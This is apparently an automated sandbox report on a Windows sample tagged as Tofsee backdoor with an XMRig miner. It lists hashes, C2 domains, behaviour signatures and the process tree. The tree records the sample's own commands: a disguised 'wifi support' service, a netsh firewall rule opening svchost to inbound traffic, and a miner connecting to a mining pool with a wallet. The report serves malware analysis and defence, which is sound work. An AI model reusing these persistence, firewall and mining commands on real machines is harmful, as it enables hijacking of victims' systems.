Analysis

  • max time kernel
    299s
  • max time network
    305s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 05:02

General

  • Target

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe

  • Size

    251KB

  • MD5

    3289ff07ba3c5b4ea9614f862dae3bd8

  • SHA1

    30b15edf7ad3f7bc059f58436198d5619f06a53a

  • SHA256

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935

  • SHA512

    9e90abf93b6e7268a0c8993c864d9b106c00990f77c1d8011ea7325a0467332f508f04dc083c46880dea9a71a9a6fbf6c8bdcec83b310093eea0c455c66e5a82

  • SSDEEP

    3072:7RoP5wl8uJh5E7jjzFApPWASdKogJodIj+5JjAxSdhee3hUDxy/Ocat:toWlbhOTFApPmdKogJc5JMxUh7OQG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe
    "C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mwevcvoi\
      2⤵
        PID:2708
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnnfiswi.exe" C:\Windows\SysWOW64\mwevcvoi\
        2⤵
          PID:2832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mwevcvoi binPath= "C:\Windows\SysWOW64\mwevcvoi\tnnfiswi.exe /d\"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mwevcvoi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mwevcvoi
          2⤵
          • Launches sc.exe
          PID:2584
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2420
      • C:\Windows\SysWOW64\mwevcvoi\tnnfiswi.exe
        C:\Windows\SysWOW64\mwevcvoi\tnnfiswi.exe /d"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2092
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2056

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\tnnfiswi.exe

              Filesize

              10.5MB

              MD5

              55146730d4777af7b3a1c0d54950c1cc

              SHA1

              269ab803b995283729f509f591592cda8dfe3c7b

              SHA256

              7357a00ea345ed568f24ac19c8dfa99325fd2ebd7857bc7442c442379293f132

              SHA512

              5e03a6eebb4dfb0199f05535af78ff8f8121726313e6ea513323ddf6bc11a58d85bb794ccb30474c14df711c6e13e3c7a5355dd4a84b170ae769aded7edb256a

            • C:\Windows\SysWOW64\mwevcvoi\tnnfiswi.exe

              Filesize

              10.5MB

              MD5

              55146730d4777af7b3a1c0d54950c1cc

              SHA1

              269ab803b995283729f509f591592cda8dfe3c7b

              SHA256

              7357a00ea345ed568f24ac19c8dfa99325fd2ebd7857bc7442c442379293f132

              SHA512

              5e03a6eebb4dfb0199f05535af78ff8f8121726313e6ea513323ddf6bc11a58d85bb794ccb30474c14df711c6e13e3c7a5355dd4a84b170ae769aded7edb256a

            • memory/2056-62-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-77-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-76-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-75-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-74-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-73-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-72-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2056-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2056-64-0x0000000000150000-0x0000000000241000-memory.dmp

              Filesize

              964KB

            • memory/2092-37-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-43-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2092-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2092-22-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2092-23-0x00000000019F0000-0x0000000001BFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2092-26-0x00000000019F0000-0x0000000001BFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2092-27-0x00000000000F0000-0x00000000000F6000-memory.dmp

              Filesize

              24KB

            • memory/2092-30-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-33-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-34-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-35-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-36-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-12-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2092-38-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-39-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-40-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-42-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-41-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-15-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2092-44-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-45-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-46-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-47-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-48-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-49-0x0000000000100000-0x0000000000110000-memory.dmp

              Filesize

              64KB

            • memory/2092-50-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2092-53-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2092-54-0x00000000059A0000-0x0000000005DAB000-memory.dmp

              Filesize

              4.0MB

            • memory/2092-57-0x00000000059A0000-0x0000000005DAB000-memory.dmp

              Filesize

              4.0MB

            • memory/2092-58-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

            • memory/2092-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2660-16-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2660-11-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2660-10-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/2888-1-0x0000000000840000-0x0000000000940000-memory.dmp

              Filesize

              1024KB

            • memory/2888-8-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/2888-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2888-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2888-2-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB